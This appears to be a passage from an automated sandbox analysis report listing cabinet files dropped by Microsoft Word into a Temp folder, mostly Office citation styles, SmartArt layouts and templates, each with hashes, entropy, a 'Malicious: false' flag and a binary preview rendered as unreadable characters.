.D.52gU..]..."..N8....s..CS..J3..HV...m...y..o....F.z......V.j._....=~k.....'.dY........1........#...d13.g.&C...C.xw.`f.hf..........]M....m.m....ud...,+.H~..cL...e#;(RI...eA....I.b...E...2..(...$.j...L...$..A....'[...H9..&..G.Q....".M.yl....]..?j%+....O~.....\|.se...K\.B"W..F.5.......=s...l.Y...K..yN.TBH[...sTWR.N.d...WEa....T.d.K.^sauI......m..s=.,qso5.b.V.s.]..9..,k4.\..L.;D...........;r.C...7.w.j..:N8.V6..a.3..j:A.mA..To..$.5....:./..p.x.3.=..__...8.EB.K...].-."..5-XU..J.....=o..K.Wavg.o].z.9.gk.._.........MZ.<.5............OY.n.o...r.9v.c.......[n.[..D...d..}.j.....LB,]_.9..St.@..C....\...^....-&.njq..!P....G^.....w.7.p~.......M..g.J............t1......q.w.rx...qp.....E.........-...2..G.........z.]B........d....C.@...@.

C:\Users\user\AppData\Local\Temp\cab598E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15461 bytes, 2 files, at 0x4c "gostname.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31605
Entropy (8bit):	7.820497014278096
Encrypted:	false
SSDEEP:	384:7SpOUxgQ9gFodHZktfHa2TSmcAg76j8/xorK0JoZgbA8E0GftpBjE2PzFLrHRN7S:OngHltf7Bcp/xoB3A8Pi625D8RA54
MD5:	69EDB3BF81C99FE8A94BBA03408C5AE1
SHA1:	1AC85B369A976F35244BEEFA9C06787055C869C1
SHA-256:	CEBE759BC4509700E3D23C6A5DF8D889132A60EBC92260A74947EAA1089E2789
SHA-512:	BEA70229A21FBA3FD6D47A3DC5BECBA3EAA0335C08D486FAB808344BFAA2F7B24DD9A14A0F070E13A42BE45DE3FF54D32CF38B43192996D20DF4176964E81A53
Malicious:	false
Preview:	MSCF....e<......L...........................e<...?...................;......................gostname.xsl."...............Content.inf.[.......[...>..\|..32.E..o`h....W.>.^...v..5...m.w.$.U..U......m.mu...'4....m`.9F.. ...I..PTS..O.D...GM#...#CUE.`.`%n..N...G,.~..+.6cv.L...G.m.Y..vy.....Yh9/.m,..wtw..;....Ka.a.{.\...'.....<X....%)...G..d......R./..4$..32..@....f.h....w..ov.}w..[.....{.v.......dr..&w#G..$3.zI&f..(C..L.z5J... .`...!.!4. ...!.` .$........w.J.X7.w_..@.w..f]=.C.....I-....s.s_.x...~..A... ...z...nM..;....Z....vt....6...~.w.....*x.g.h.T.J..-.3=....G.n..ti.A...s...j$.Bf..?......6.t.<j...>.."....&=BO?w.uN.o.t.-r..K....>C..^G..p...k...>.xZ.[fL..n.."].W#...\|.i.0W.q.F: ..<#w......w....s....."...n.qu.../rI.....q....P~.B..\|b?.N.}..MyO..q..:q.7..-~.xa.S...\|.....X.....g.W.3.mo..yy.GG.s>....qy....r........#.F.P..A.......A....b.2..14.8.i6..w.S...v~{0z.<.Z...^!.;2mSV.i....{...U...+...r.;...h.++..T6.a...$....j5F+..1t....b......\|.Q\d-.S..2... ......Y..A...s....

C:\Users\user\AppData\Local\Temp\cab598F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 17466 bytes, 2 files, at 0x4c "chicago.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 10 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	33610
Entropy (8bit):	7.8340762758330476
Encrypted:	false
SSDEEP:	768:IlFYcxiahedKSDNAPk5WEEfA8Pi6xnOKMRA58:2JitdKsNAM5WBDP7xOKMq58
MD5:	51804E255C573176039F4D5B55C12AB2
SHA1:	A4822E5072B858A7CCA7DE948CAA7D2268F1BB4B
SHA-256:	3C6F66790C543D4E9D8E0E6F476B1ACADF0A5FCDD561B8484D8DDDADFDF8134B
SHA-512:	2AC8B1E433C9283377B725A03AE72374663FEC81ABBA4C049B80409819BB9613E135FCD640ED433701795BDF4D5822461D76A06859C4084E7BAE216D771BB091
Malicious:	false
Preview:	MSCF....:D......L...........................:D...?..................XC.....................chicago.xsl. ...............Content.inf.!..B...[...H."m..3C.6...WP!i/Z..vn._...^omvw+...^..L.4o...g..y......^..x...BH.B.K....w.....F........p ./gg.h.0I',.$..a.`....^..vi..mw..........K....oQ............P...#...3.......U(.=...q.~?..H..?.'I4'.......X...}w.vw.....f.n..f{3.....-....%dK&q..D.H.Z..h-..H.[$ %.."..e....1...$.............'.....B..%..4...&`S!DQ...M.......N~............S..'....M..4E.^..dej..i..+.`...6F%sJ....Q..d.(.s.Z...U-5Eh.s.CK...K..X$......j..T.?.`.\|...=..R...-7......TU.....7a...&I.noOK\|.W.R-+S.d..rR.....{h.Y...)..xJ..=.XM..o...P'.I4m..~I..C..m.....f.....;{Mzg+Wm.~...z...r-.....eK...lj:^.1g5...7.h(T"..t?5......u.....G.Z<..sL.\{...8=t...Z...'tps.:...\|....6.....S..X...I...6l.M.....aq.;YS....{:.&.'.&.F.l...\.[L.%.so\.v.Lo...zO.^^...p..9k...).CC..F0>L...VUE4.......2..c..p.rCi..#...b.C@o.l.. E_b..{d...hX.\_!a#.E.....yS.H...aZ...~D3.pj: ss?.]....~

C:\Users\user\AppData\Local\Temp\cab59C1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4967 bytes, 2 files, at 0x44 "TabList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21111
Entropy (8bit):	7.6297992466897675
Encrypted:	false
SSDEEP:	384:wWZsOvbMZGgbA8E0GftpBjEtnFLrHRN7Dfll7PK/pirk:xZRvuzA8Pi6t9DPISk
MD5:	D30AD26DBB6DECA4FDD294F48EDAD55D
SHA1:	CA767A1B6AF72CF170C9E10438F61797E0F2E8CE
SHA-256:	6B1633DD765A11E7ED26F8F9A4DD45023B3E4ADB903C934DF3917D07A3856BFF
SHA-512:	7B519F5D82BA0DA3B2EFFAD3029C7CAB63905D534F3CF1F7EA3446C42FA2130665CA7569A105C18289D65FA955C5624009C1D571E8960D2B7C52E0D8B42BE457
Malicious:	false
Preview:	MSCF....g.......D...........................g....?..........}.......................TabList.glox.................Content.inf....t....[......@..C...../.U5...........6...`.....T..>3.................=..09`..t......a..Y..BI.Z....=.'0...%...T..........H...>.:A.r......n..p...Pf.h...I.8... ....M.]&.#.vv'.....[c......g....>"......<c..f....i...sb!Z..iu<.%\|......q.....G28.h-...7.....W.v...RtdK..F~.0.3.'.e..b7.c......a.3.....a\..]...gp8.+.u/}.w.qF........8.=.=\|....\~..S.-q}]0...q.B.H.^J...!...a'.2Tn!..."..%........=.e_-.....{o..%o...a`.w..L.5..r.....e.8...pO..RE.Wgr..b.%.E...O.......8s...E....Um].C..M.....[...H.FZ..4...eZI.$..v.3<]..r....B..............8i......e<.D...Q4.q.^S.....H.b.......r.q..0o.......2..PP,."...JI...xU`.6f..K..Q9.Q..h..t....AI.S6...7............X..`dv..r..S....),7ES....#.....(...\.nh...X.ps%l..F...."<_....q....v........_.e.....P.........\|&..fi..4..@..^0..v.]7.......^. ."..}(...w.g.X...=<....p.......L...P..XV....@:....N...Y....

C:\Users\user\AppData\Local\Temp\cab59C2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 19375 bytes, 2 files, at 0x4c "turabian.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	35519
Entropy (8bit):	7.846686335981972
Encrypted:	false
SSDEEP:	768:2LFougzHaUdBKUsM+Z56zBjA8Pi6bo+ld8IX:MFodzHaULR9P7bo+l6IX
MD5:	53EE9DA49D0B84357038ECF376838D2E
SHA1:	AB03F46783B2227F312187DD84DC0C517510DE20
SHA-256:	9E46B8BA0BAD6E534AF33015C86396C33C5088D3AE5389217A5E90BA68252374
SHA-512:	751300C76ECE4901801B1F9F51EACA7A758D5D4E6507E227558AAAAF8E547C3D59FA56153FEA96B6B2D7EB08C7AF2E4D5568ACE7E798D1A86CEDE363EFBECF7C
Malicious:	false
Preview:	MSCF.....K......L............................K...?...................J.......@..............turabian.xsl."...............Content.inf._.......[...T.....C4.5...E0B.]...+.-f....rc.[52.$...a..I....{z...`hx.r...!.. $...l..\....#3EF..r..c;<p...&n.\b..K..0Y..c+.2...i..B..wwY..77,...........}.q.C.......n..,.....prrx.QHy.B#..,.'....3....%1.``..hf...~...[.[n.v.s..y.vw....;..s.G293G&H....$E......m.&^..iy/.4.C...D...".(H&..&.I4._...!...... ........q.k1.d.....qc.3.c.....;.5.......y}...}&...+.WAN.,zVY.Q....V.Tz........g..H..c...E2jY...4g?.yf<....V.M.s.$..k.Id....+..?..._.\.s.k..9..I%;.yWQ..S..]...n<.7........=......"Q.E.....MG..j.Yt..!U....Q.j...v.h-.~b..e&.......;...\.....:.....=..Xv1&q........6\...xw.%.VdS..H...o...s.....+..%[../>.t..I....F.....".G\|.....=....[..S..3..a.C.ZZ...tK.6N..b........)>........I..m..QE.M.nv.MVl.....vCG>,.suP.gqo.rr....J`m....J.b..},[F....e.A.]..r....C4.?JJs6..l.].9...Q.B.~.......\d%.X ...8A....rH....&?#...^.....4.h.{>

C:\Users\user\AppData\Local\Temp\cab59C3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3144 bytes, 2 files, at 0x44 "VaryingWidthList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19288
Entropy (8bit):	7.570850633867256
Encrypted:	false
SSDEEP:	384:5ZII4Hf+7G8E0GftpBjCwBFLrHRN7bcClvQyUTL2mH:pG8PicgbcAvU+mH
MD5:	B9A6FF715719EE9DE16421AB983CA745
SHA1:	6B3F68B224020CD4BF142D7EDAAEC6B471870358
SHA-256:	E3BE3F1E341C0FA5E9CB79E2739CF0565C6EA6C189EA3E53ACF04320459A7070
SHA-512:	062A765AC4602DB64D0504B79BE7380C14C143091A09F98A5E03E18747B2166BD862CE7EF55403D27B54CEB397D95BFAE3195C15D5516786FEBDAC6CD5FBF9CD
Malicious:	false
Preview:	MSCF....H.......D...........................H....?..................................VaryingWidthList.glox.................Content.inf...O.....[.... v.q......R.....>.%i.I.HhD.V...qt.....'....N...!..aw$(J.%(..A..h......l\|.D.p9`..Y09.:.u....p. :,..YD=0.p. ......w...........<..;.....u.."......7[....8.....?^........-..;q.\|.....B....PJ....r.K#.#.0'...}.........+gpR...T....5.iu.^I...A\..gK....}..z.B.nT.../.m.......N....E'1.E.\..o.....W..R.#.#...8.7...R.SbW-...%......$.obj.F..W_@....sY!........s.O..."k. ..b....j....v...P.\....7d...\|"J.T...2p..m.&..r..,2.).....X.`...xt].U...b.h..V.....\|L..N.Z.O#....o...1R.w30.g..?;..C.T.:$..MGY.C"i\.f..#..<.k...m..s.w. ..Ga].....wt.h\|.Ta<.......(SO.]9.%a..Z... r._JH.=O...P.9a.v.....Kj.".T...m...4.?...F...$...y.....hbW.UA..u.&)....py.C{.=t.....n...}\|H3A9.=..W..JJ..y./Y.E.M9..Z..w. .HB.YoIi..i.e..9;n...SpHw,....f....d>..g.m..z...... ...f...KP.M..U.....~vFD.fQ.P?......2!.n.....`@C!G...XI.].s,.X.'...u.E.o..f

C:\Users\user\AppData\Local\Temp\cab59C4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5213 bytes, 2 files, at 0x44 "rings.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21357
Entropy (8bit):	7.641082043198371
Encrypted:	false
SSDEEP:	384:zdx+NRrogu6fzCI7Th7G8E0GftpBjEzZq4FLrHRN7/Oll7PK/pB:/+NRrFf/G8Pi6zZb/GIB
MD5:	97F5B7B7E9E1281999468A5C42CB12E7
SHA1:	99481B2FA609D1D80A9016ADAA3D37E7707A2ED1
SHA-256:	1CF5C2D0F6188FFFF117932C424CC55D1459E0852564C09D7779263ABD116118
SHA-512:	ACE9718D724B51FE04B900CE1D2075C0C05C80243EA68D4731A63138F3A1287776E80BD67ECB14C323C69AA1796E9D8774A3611FE835BA3CA891270DE1E7FD1F
Malicious:	false
Preview:	MSCF....].......D...........................]....?..........{.......................rings.glox.................Content.inf..\|^.....[......P........<.$.."..0R..xa.Ax#B..d... ....K,.....^.H.....H.........&.j.\f.. ..,....,..!k..R..e..!...E...........................><.RB.....~h...........Q................g..M\|,...x.....qV7.u..\...F-N.{-..X..&Zig.~..{.A.p.Z...X..{,-n............`$.%.ND.....>].6cvZ.%d..a.$..-.K.Hf....L..;.#...H....U,........P.@.-$C.,.g...%YJE..$.jP........b...Y<..[U...MF]F.K...1... x.}3w.o.#,.}T.....w5+...=.=...c.F^....OM.=.......G_{n.*...WC.w!......{/.~.}..s..6_......)..Xy...4.....<..XZJ........#~._i....%..fM.V.?.q...q.....7...B..sVt...(.:..c....~.e...kGZ...C..(J..o...`...?.)-.T.l....&...gR.$.....g.:...2.e%F.....x....z0...K..a8B...........D..]....7....~.".DR...r)...}b)e.>.\h~f...(}.c........Q...o5H.........C.KC.(.L.l................R..a.pg{..\.......-b........}.C......qTS..%..r.lG..Q.1..Z.>a.D...tC..LV...Rs.C.M18x.:......%O.

C:\Users\user\AppData\Local\Temp\cab59C5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14939 bytes, 2 files, at 0x44 "CircleProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	31083
Entropy (8bit):	7.814202819173796
Encrypted:	false
SSDEEP:	384:0XbSq3W46TVZb5fOFo1HtZwGqtRT44hS+nyBoiuFgbA8E0GftpBjEcBFLrHRN7Ku:0XpOflfOFo1DMr/iuuA8Pi6cfKjW66b
MD5:	89A9818E6658D73A73B642522FF8701F
SHA1:	E66C95E957B74E90B444FF16D9B270ADAB12E0F4
SHA-256:	F747DD8B79FC69217FA3E36FAE0AB417C1A0759C28C2C4F8B7450C70171228E6
SHA-512:	321782B0B633380DA69BD7E98AA05BE7FA5D19A131294CC7C0A598A6A1A1AEF97AB1068427E4223AA30976E3C8246FF5C3C1265D4768FE9909B37F38CBC9E60D
Malicious:	false
Preview:	MSCF....[:......D...........................[:...?...................A..............CircleProcess.glox......A..........Content.inf......9.B[.....@........!...(A.D..K.W.wwpwJj\.K\w...]...K.!.....@0..?,...}won`... ....&I..(;.....X.u..^.R..^......_:....W>f\....T...B..i`\|q.....................i.5....(........0q7@.@..F...?A.`.....,L.......5.+../56..a`....1C5..9.I.N.......@\|<+./......... .ya....>l.,t.......y.y5...FF.,F..jCA...SA..H....8u.L..eM?.w8.......~^.Mr.[...(.._......u..+.......j..TJ.:<.3.X`...U.bz...[...r-...[...+..B.......}...\'.i...C.8.B_...c.8</..s.....VQ.Y..m.,.j~;y ...2.5.VQ...K..jP..2..r-...HA...."..9).7.....5.E._.wq.......!.+n+.f...s].4M'.1&...5....4..k..NV.M1.7`a..<.P4.\|.mrd.i.R...u...............v.}..n\.C$.....[..2c.^..W..g..._.0.C.o....%.z.!.;.@y.`\..UO#i.)...Q...........L. .\:_..H.{.W...@...T.4..A.a...Wo?o$4.....#.V.s8M.Gh..p?A...Y.....)...........r\|...!..o9...8..%#.[....;...3<Z...g....~.Z....,.(...qA.'x#..xC..@...HOuW.[.[....c.........

C:\Users\user\AppData\Local\Temp\cab5A3C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15418 bytes, 2 files, at 0x4c "harvardanglia2008officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31562
Entropy (8bit):	7.81640835713744
Encrypted:	false
SSDEEP:	384:yhsBScEWkrljntbzuMmWh7ezPnGgbA8E0GftpBjohgsRFLrHRN7ybll7PK/p:MsBScwtnBmWNeTzA8PiuWsvyDI
MD5:	1D6F8E73A0662A48D332090A4C8C898F
SHA1:	CF9AD4F157772F5EDC0FDDEEFD9B05958B67549C
SHA-256:	8077C92C66D15D7E03FBFF3A48BD9576B80F698A36A44316EABA81EE8043B673
SHA-512:	5C03A99ECD747FBC7A15F082DF08C0D26383DB781E1F70771D4970E354A962294CE11BE53BECAAD6746AB127C5B194A93B7E1B139C12E6E45423B3A509D771FC
Malicious:	false
Preview:	MSCF....:<......L...........................:<...?..................D;.......V..............harvardanglia2008officeonline.xsl.L...............Content.inf.Vu......[...E..o..3D.5..nF.A..+.e.....6r..f........M3...-.s.m.... $r.b.!.q!.....G...0.\.......fd......%m...'1Y..f..O....#.P.,{..m...\|..ww.{.m...f...n%...,..y...0y...8.Q...`.../.q....a...',.V......8.7..8t..................6.]..6..nw..ynm..-l.Y..,.I?..$....+b9$E!S@"..) .4........H...lA...@!a.F.l$..0#!.....n&.5j.t+..1f\|.+....E.zDk.l8.+<q.^.........\5.l..iT.9...........Y..6.^,.o.bn.E5w..s.../...W.gS..j9..'W.F......].4\Mzz..Td..Ho..~.Q...Z..D..O.JP..m..s.j.:..........y._.....#..rD....60.\!y........p.o3,..Ub,......[[L.{.5.....5.7UDB9.{;;g.z.z..jM.G.MY.oe.....(r..B6..CV.7Fl.Z/....-.O.vY.c...-..........b.T)3.u..f~x2.?.8.g.x.-.....Qt_...$e.l..jtP..b....h...sW0.`.....c...F_....t.........LC..*5I.X$^.;&....#.._\J..........;..wP..wX.qy.qs...}46..fK.XN.&0........k1....8...............'t.......}.......O_.

C:\Users\user\AppData\Local\Temp\cab5A3D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 27509 bytes, 2 files, at 0x4c "Equations.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	43653
Entropy (8bit):	7.899157106666598
Encrypted:	false
SSDEEP:	768:+bjfeR1OOZvv439PlDe5/QzhgFSo0UEDmJwkqTA8Pi63Bsgn66w:IM3CN9ZzhFbUUwaP73BsB6w
MD5:	DA3380458170E60CBEA72602FDD0D955
SHA1:	1D059F8CFD69F193D363DA337C87136885018F0F
SHA-256:	6F8FFB225F3B8C7ADE31A17A02F941FC534E4F7B5EE678B21CD9060282034701
SHA-512:	17080110000C66DF2282FF4B8FD332467AF8CEFFA312C617E958FDFEBEE8EEA9E316201E8ABC8B30797BB6124A5CC7F649119A9C496316434B5AB23D2FBD5BB8
Malicious:	false
Preview:	MSCF....uk......L...........................uk...?...................j......r...............Equations.dotx.................Content.inf.94v..R..[..... .............v........." Vw.w..r.....D.V5.p...W......b;....\x.....f.-...............l.....L.F....@..BnF.I.....%1..0....&.X.......X-.\.\.>..A....@..:...N .G./.Sp.A0.0.`.....q....b... ......S.{K...V....J............>\....\.E.#.,$.hxu.F.Fo....<...{..6../..#..l>d...w...&...S.....L.].....^..L......;~l.......qw.o. .....v.u.W`.4Z.A.....dC..Q)9.c..qgtfJ..G.(.J....q4V.).mK4;..zY..b.5&....V...0X.].Z..U.Lx..^..:8XQh.....7yy.._5............c.W...c...xY..%..G.$....kg^.1g.9.....z^.'...q."..K)a[.pW .LS.:Q8.....2..._q.os....y...d11..m....8.,.^.4_?i.e.u.,....._y.....zZZA.D.D<..+....{....Sfnv...t.....0...vV..y.r..3..%.<.t......;.h.wh.-.g.>..5...R...........y..]^..R..<...>$~.'...kk.n..H.EN.eQ.Q.O./='....)t.l0,/].....FNN......?...&..'.eS....K.K.v".^L..x=.^......1x\|....=}@...B.kq;_a..C.q?..Y9.v......Q..u.G..V.

C:\Users\user\AppData\Local\Temp\cab5A3E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 30269 bytes, 2 files, at 0x4c "Text Sidebar (Annual Report Red and Black design).docx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	46413
Entropy (8bit):	7.9071408623961394
Encrypted:	false
SSDEEP:	768:WaxA0CH65GY3+fvCXCttfR8JEBrkquwDn+QV5V+vNWBatX/xG8Pi65sMuMjvU+mQ:hne65GYOfKXMSEBrBtDnzFAI4JxP75sM
MD5:	C455C4BC4BEC9E0DA67C4D1E53E46D5A
SHA1:	7674600C387114B0F98EC925BE74E811FB25C325
SHA-256:	40E9AF9284FF07FDB75C33A11A794F5333712BAA4A6CF82FA529FBAF5AD0FED0
SHA-512:	08166F6CB3F140E4820F86918F59295CAD8B4A17240C206DCBA8B46088110BDF4E4ADBAB9F6380315AD4590CA7C8ECDC9AFAC6BD1935B17AFB411F325FE81720
Malicious:	false
Preview:	MSCF....=v......L...........................=v...?..................5u......................Text Sidebar (Annual Report Red and Black design).docx.v...............Content.inf..C,.zd..[............... .w.....b...wwww]r..W\ww...... .hh...........o.nz.....Ku.7..-.oH...h;.N..#.._.D,}......!Q$..Un.tI11..$w.r3... ..p...=.1....""..n.../....h.A...Y..c,.Q.,......",..b.1.w..$.....l../;..J.....~.. ....+.R#....7.-..1.x.feH.@.......u...(.DQ%.wL.N\|.xh...R..#....C...'X.m.....I{W.....5.C.....\....z.Y.)w..i...%....M..n.p.....{..-G9..k.bT.6........7....).....6..ys.....R.e.....0.Xk`.3..X\xL..4J"#.f...:....r..2..Y.uW..052.n.+ ..o..o..f&u.v.&9y.P..6.K..in.DU.#.~....4i..6;.5.w..i...g.(....../..0Vh...C..//....W..:w......7.6....]....4.9...sL.0k...zHh..2N.H.....]..(.x.:..........Y.+...-.....&.*^..Q.sW...v..w.....k.L.e.^.W4iFS..u.....l.g'...b~:Zm...S.2.\|......5S..=.............l.../\|....G\|.9 ..#.q...W.Q...G=.."W..'.6....I....D._.{.g.47....V.1._..<?....m............)..T.

C:\Users\user\AppData\Local\Temp\cab5A5F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5731 bytes, 2 files, at 0x44 "ThemePictureAlternatingAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21875
Entropy (8bit):	7.6559132103953305
Encrypted:	false
SSDEEP:	384:k73HRpZA6B3ulrnxtRT7G8E0GftpBjEdHqlFLrHRN7uhFlvQyUTL2m4c:k7XRgIkrG8Pi6dmuNvU+mp
MD5:	E532038762503FFA1371DF03FA2E222D
SHA1:	F343B559AE21DAEF06CBCD8B2B3695DE1B1A46F0
SHA-256:	5C70DD1551EB8B9B13EFAFEEAF70F08B307E110CAEE75AD9908A6A42BBCCB07E
SHA-512:	E0712B481F1991256A01C3D02ED56645F61AA46EB5DE47E5D64D5ECD20052CDA0EE7D38208B5EE982971CCA59F2717B7CAE4DFCF235B779215E7613AA5DCD976
Malicious:	false
Preview:	MSCF....c.......D...........................c....?..................................ThemePictureAlternatingAccent.glox.................Content.inf...3.....[.... .qq...........\<.^......o."......f.o...x.{..q..^.MH^...........{0.K....4pX.i...@6A4X.P.01d....'p.......zA.......... .......7.......a. `.=!@- ......>G.s.k~@.a.lfha:m....1...@.,G`....{....W..N..qs.......j.+TrsT.l.9..L...1+...d..-u..-.......).#u&...3......k.&C...DdZ.'.......8..<PF..r.eq.X6...u..v...s5.m.Q.l.G%.<.]....RV<...S..Dv..s.r.......dh.N.3-.Hf'.....3.GZ..E.kt.5......h...\|...?!.L....~.)..v....:2.../F.,....o.qi.i7..E.\|.mh.R_.@A.FO@i.....Feo...x.l...{E.\W9\|V...=#..3..(......tP.:i....Ox.U.N...%6...p.6&.....<zh.z.\|.<Z.?.k....y7m...F.Z$-.:.l.h...{T..7....?..T...d,r...z?../...`/Z......a.v@)....u......V..v.:.._.\|.'..[..O.s.OAt-."b.In"..I...J*.~H.:-...?..uV....dZ;z:.l.{.E.,.Q..i]:.0r.I.y..f...../j.wN...^R.....u....>..}....f.f...]A..C~;/....%..^#..N.a..........99.....`.....%..iS....S......$....)

C:\Users\user\AppData\Local\Temp\cab5A81.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6196 bytes, 2 files, at 0x44 "ThemePictureGrid.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22340
Entropy (8bit):	7.668619892503165
Encrypted:	false
SSDEEP:	384:GByvLdFHny7G8E0GftpBjE8upFLrHRN778lvQyUTL2mm2y:Oy3HkG8Pi6887mvU+ma
MD5:	8B29FAB506FD65C21C9CD6FE6BBBC146
SHA1:	CE1B8A57BB3C682F6A0AFC32955DAFD360720FDF
SHA-256:	773AC516C9B9B28058128EC9BE099F817F3F90211AC70DC68077599929683D6F
SHA-512:	AFA82CCBC0AEF9FAE4E728E4212E9C6EB2396D7330CCBE57F8979377D336B4DACF4F3BF835D04ABCEBCDB824B9A9147B4A7B5F12B8ADDADF42AB2C34A7450ADE
Malicious:	false
Preview:	MSCF....4.......D...........................4....?..................1...............ThemePictureGrid.glox.....1...........Content.inf....K..5.[.... V.q......B.....?.h.i.J.D...Z...>.....i~...A...Z....H.hy.D..X.....>...L.I..`. z w0}.K`.C{h....W\../.U..p\%...B...;............9..8.^M.....].lP.p...\|..?..M....E..S.`..-n........Q'.'.o..C}=..?`.bQ...J"0f.. ....k3n..F.Pu..#...w].`<...."D.].-.#+):..fe..=<.M...4..s.q.f._.=.T.M..U.[R.kbw.,......t6_I...~.X..$_.q....}2..BR...).[...<.l.3........h%....2.$`>..hG...0.6.S......._3.d~1.c.2g....7tTO..F.D.f.Y..WCG.B..T....Gg&.U'....u.S/......&6w..[bc.4....R.e..f.,....l."........I....J.=~...$x.&2...+,-.;.v.'.AQ.fc...v._..rZ..TYR...g?..Z..!.3mP dj...../...+...q.....>..../...]P.z?DW&.p..GZ....R5n......,..]{].0m.9...o.{...e."...8VH....w"%;.g\.K..p.}....#r.u..l.vS...Y.7U.N-E@.....~....E...x.....C.......{NP....5Ymk.*._.K...Z...f..;.......b.....,._@B..\.S..d.'\rs..].}.5"XJU.J..'.zk}.+P.)C.X.?9sx.D....(K....P^N_D...Z.........

C:\Users\user\AppData\Local\Temp\cab5B46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 26644 bytes, 2 files, at 0x4c "Element design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	42788
Entropy (8bit):	7.89307894056
Encrypted:	false
SSDEEP:	768:Hx+UzBiwDQTXgBm029ClGn4BZz6i5kIew/jG8Pi6lYJz1gH:0ZXc29eGn2n5klwjxP7l2z1gH
MD5:	21A4B7B71631C2CCDA5FBBA63751F0D2
SHA1:	DE65DC641D188062EF9385CC573B070AAA8BDD28
SHA-256:	AE0C5A2C8377DBA613C576B1FF73F01AE8EF4A3A4A10B078B5752FB712B3776C
SHA-512:	075A9E95C6EC7E358EA8942CF55EFB72AC797DEE1F1FFCD27AD60472ED38A76048D356638EF6EAC22106F94AFEE9D543B502D5E80B964471FA7419D288867D5D
Malicious:	false
Preview:	MSCF.....h......L............................h...?..................@g......o...............Element design set.dotx.................Content.inf.Y/..Re..[......f........,..]....D.],....]..X.......XC4pE.....p........2..u;L.N.....]G..d.^d.$).e.=..;..Kb.../.../....H.."...w$._I..5.....a..4.Gd5p......v.8..1..%H..\..e...3.e..A..).d.. . (.8.".......(>..<...@...~v&.f..LWhqk]+Uep.d..%...o.....k.......e...nNN.&_.>.d.?H`"...r?..Z.p..q..<M.N.t....{.y]#...._XW"qI...x.......}.. .N...;.}:..m8...[.r.F....^?...o...u.....J3.V....~...~tn#.Kf6.s.\|*..,s...M.$.f..?Yu.pE.1_wU...%....._..'..Z......y:.{.J5..7..Q.w}/.~.-3~Ctw=..IT.....mI.u@...y.M....2.%...y...Y..j.k<-.Q.r...7m..b...+.6..\|.....U..}[...,....^....5..D..qW...[3).p.Y<.Hh..t...%cw=Z..W.~W.F....zr.4.g...O...P.g_^..3.-............3s...S..y...u...N...EsJz....tT../..c[w{cG....../6.....:.W<d5}.q..s..K"$........Ne..5..#.v'..n4.rj....Fc=....5..VN.....6..9`....\|..........WX..-?..........W.)^`1.......].R2..s6...H.......

C:\Users\user\AppData\Local\Temp\cab5F6E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 206792 bytes, 2 files, at 0x44 +A "content.inf" +A "View.thmx", flags 0x4, ID 33885, number 1, extra bytes 20 in head, 15 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	222992
Entropy (8bit):	7.994458910952451
Encrypted:	true
